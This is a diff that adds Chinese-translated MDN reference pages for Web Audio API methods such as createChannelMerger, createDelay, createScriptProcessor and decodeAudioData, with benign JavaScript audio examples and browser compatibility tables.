+// Stereo
+var channels = 2;
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html new file mode 100644 index 0000000000..281dcddfe7 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html @@ -0,0 +1,143 @@ +--- +title: AudioContext.createChannelMerger() +slug: Web/API/AudioContext/createChannelMerger +tags: + - API + - Audio + - AudioContext + - Audio_Chinese +translation_of: Web/API/BaseAudioContext/createChannelMerger +--- +

{{ APIRef("Web Audio API") }}

+ +
+

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var merger = audioCtx.createChannelMerger(2);
+ +

参数

+ +
+
numberOfInputs
+
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
+
+ +

返回值

+ +

一个 {{domxref("ChannelMergerNode")}}.

+ +

(举个)栗(例)子

+ +

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html new file mode 100644 index 0000000000..f46f5be2c5 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html @@ -0,0 +1,138 @@ +--- +title: AudioContext.createChannelSplitter() +slug: Web/API/AudioContext/createChannelSplitter +translation_of: Web/API/BaseAudioContext/createChannelSplitter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

+
+ +

Syntax

+ +
var audioCtx = new AudioContext();
+var splitter = audioCtx.createChannelSplitter(2);
+ +

参数

+ +
+
numberOfOutputs
+
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
+
+ +

Returns

+ +

一个 {{domxref("ChannelSplitterNode")}}.

+ +

Example

+ +

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html new file mode 100644 index 0000000000..2cbe395edc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html @@ -0,0 +1,131 @@ +--- +title: AudioContext.createConvolver() +slug: Web/API/AudioContext/createConvolver +translation_of: Web/API/BaseAudioContext/createConvolver +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var convolver = audioCtx.createConvolver();
+ +

返回值

+ +

{{domxref("ConvolverNode")}}对象。

+ +

例子

+ +

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

+ +

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var convolver = audioCtx.createConvolver();
+
+  ...
+
+// grab audio track via XHR for convolver node
+
+var soundSource, concertHallBuffer;
+
+ajaxRequest = new XMLHttpRequest();
+ajaxRequest.open('GET', 'concert-crowd.ogg', true);
+ajaxRequest.responseType = 'arraybuffer';
+
+ajaxRequest.onload = function() {
+  var audioData = ajaxRequest.response;
+  audioCtx.decodeAudioData(audioData, function(buffer) {
+      concertHallBuffer = buffer;
+      soundSource = audioCtx.createBufferSource();
+      soundSource.buffer = concertHallBuffer;
+    }, function(e){"Error with decoding audio data" + e.err});
+}
+
+ajaxRequest.send();
+
+  ...
+
+convolver.buffer = concertHallBuffer;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html new file mode 100644 index 0000000000..b8e502758d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html @@ -0,0 +1,213 @@ +--- +title: AudioContext.createDelay() +slug: Web/API/AudioContext/createDelay +translation_of: Web/API/BaseAudioContext/createDelay +--- +

{{ APIRef("Web Audio API") }}

+ +
+

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

+ +

 

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var synthDelay = audioCtx.createDelay(maxDelayTime);
+ +

参数

+ +
+
maxDelayTime
+
设置最大允许延迟的时间,以“秒”为单位
+
+ +

返回

+ +

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

+ +

以上是原文,大意是返回延时时间,没有设置时默认是0

+ +

 

+ +

示例

+ +

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

+ +
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
+
+try {//音频相关api
+    var audioContext = new window.AudioContext();
+    var synthDelay = audioContext.createDelay(5.0);
+} catch (e) {
+    alert("你浏览器不支持");
+}
+
+
+var error = function (error) {alert("有错误"); };
+
+//以下是获取麦克风
+if (navigator.getUserMedia) { //标准api
+ navigator.getUserMedia({ "audio": true },
+ function (stream) {
+ micto(stream);    //具体工作
+                   }, error);
+}else if(navigator.webkitGetUserMedia) {   //webkit api
+ navigator.webkitGetUserMedia({audio:true, video:  false },
+ function (stream) {
+  micto(stream); //具体工作
+                   }, error);
+ }else if (navigator.mozGetUserMedia) {  //火狐 api
+ navigator.mozGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ }else if (navigator.msGetUserMedia) { //ie api
+ navigator.msGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ } else {
+   alert("您的浏览器版不支持这个api");
+}
+
+
+
+
+
+ var micto = function(stream) {
+
+  synthDelay.delayTime.value = 3.0;   //延迟3秒
+
+  var source = audioContext.createMediaStreamSource(stream);
+
+  source.connect(synthDelay);
+
+  synthDelay.connect(audioContext.destination);
+
+      }
+ 
+ +

 

+ +

 以下是英文版示例

+ +

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var synthDelay = audioCtx.createDelay(5.0);
+
+  ...
+
+var synthSource;
+
+playSynth.onclick = function() {
+  synthSource = audioCtx.createBufferSource();
+  synthSource.buffer = buffers[2];
+  synthSource.loop = true;
+  synthSource.start();
+  synthSource.connect(synthDelay);
+  synthDelay.connect(destination);
+  this.setAttribute('disabled', 'disabled');
+}
+
+stopSynth.onclick = function() {
+  synthSource.disconnect(synthDelay);
+  synthDelay.disconnect(destination);
+  synthSource.stop();
+  playSynth.removeAttribute('disabled');
+}
+
+...
+
+var delay1;
+rangeSynth.oninput = function() {
+delay1 = rangeSynth.value;
+synthDelay.delayTime.value = delay1;
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html new file mode 100644 index 0000000000..7e505bc06a --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html @@ -0,0 +1,199 @@ +--- +title: AudioContext.createScriptProcessor() +slug: Web/API/AudioContext/createScriptProcessor +translation_of: Web/API/BaseAudioContext/createScriptProcessor +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
+ +

参数

+ +
+
bufferSize
+
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
+
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
+
numberOfInputChannels
+
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
+
numberOfOutputChannels
+
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
+
+ +
+

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

+
+ +
+

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

+
+ +

返回

+ +

A {{domxref("ScriptProcessorNode")}}.

+ +

示例

+ +

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

+ +
+

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

+
+ +
var myScript = document.querySelector('script');
+var myPre = document.querySelector('pre');
+var playButton = document.querySelector('button');
+
+// Create AudioContext and buffer source
+var audioCtx = new AudioContext();
+source = audioCtx.createBufferSource();
+
+// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
+var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
+console.log(scriptNode.bufferSize);
+
+// load in an audio track via XHR and decodeAudioData
+
+function getData() {
+  request = new XMLHttpRequest();
+  request.open('GET', 'viper.ogg', true);
+  request.responseType = 'arraybuffer';
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+    myBuffer = buffer;
+    source.buffer = myBuffer;
+  },
+    function(e){"Error with decoding audio data" + e.err});
+  }
+  request.send();
+}
+
+// Give the node a function to process audio events
+scriptNode.onaudioprocess = function(audioProcessingEvent) {
+  // The input buffer is the song we loaded earlier
+  var inputBuffer = audioProcessingEvent.inputBuffer;
+
+  // The output buffer contains the samples that will be modified and played
+  var outputBuffer = audioProcessingEvent.outputBuffer;
+
+  // Loop through the output channels (in this case there is only one)
+  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
+    var inputData = inputBuffer.getChannelData(channel);
+    var outputData = outputBuffer.getChannelData(channel);
+
+    // Loop through the 4096 samples
+    for (var sample = 0; sample < inputBuffer.length; sample++) {
+      // make output equal to the same as the input
+      outputData[sample] = inputData[sample];
+
+      // add noise to each output sample
+      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
+    }
+  }
+}
+
+getData();
+
+// wire up play button
+playButton.onclick = function() {
+  source.connect(scriptNode);
+  scriptNode.connect(audioCtx.destination);
+  source.start();
+}
+
+// When the buffer source stops playing, disconnect everything
+source.onended = function() {
+  source.disconnect(scriptNode);
+  scriptNode.disconnect(audioCtx.destination);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html new file mode 100644 index 0000000000..7aef8d5688 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html @@ -0,0 +1,133 @@ +--- +title: AudioContext.createWaveShaper() +slug: Web/API/AudioContext/createWaveShaper +translation_of: Web/API/BaseAudioContext/createWaveShaper +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

+ +

语法

+ +
var audioCtx = new AudioContext();
+var distortion = audioCtx.createWaveShaper();
+ +

返回

+ +

A {{domxref("WaveShaperNode")}}.

+ +

例子

+ +

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

+ +

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

+ +
+

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var distortion = audioCtx.createWaveShaper();
+
+  ...
+
+function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+  ...
+
+distortion.curve = makeDistortionCurve(400);
+distortion.oversample = '4x';
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html new file mode 100644 index 0000000000..fbdaf4315c --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.currentTime +slug: Web/API/AudioContext/currentTime +translation_of: Web/API/BaseAudioContext/currentTime +--- +

{{ APIRef("Web Audio API") }}

+ +
+

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);
+ +

返回值

+ +

A double.

+ +

例子

+ +
+

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html new file mode 100644 index 0000000000..40693fd8cc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html @@ -0,0 +1,223 @@ +--- +title: AudioContext.decodeAudioData() +slug: Web/API/AudioContext/decodeAudioData +tags: + - API + - Audio + - audio接口 + - 音频解码 +translation_of: Web/API/BaseAudioContext/decodeAudioData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

+
+ +

这是从音频轨道创建用于web audio API音频源的首选方法。

+ +

语法

+ +

旧版的回调函数语法

+ +
audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});
+ +

新版的promise-based语法:

+ +
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});
+ +

举例

+ +

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

+ +

旧的回调语法

+ +

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

+ +

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

+ +
+

Note: You can run the example live (or view the source.)

+
+ +
// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +

新的promise-based语法

+ +
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});
+ +

参数

+ +
+
ArrayBuffer
+
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
+
DecodeSuccessCallback
+
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
+
DecodeErrorCallback
+
一个可选的错误回调函数.
+
+ +

返回

+ +

一个 {{domxref("Promise") }}对象.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
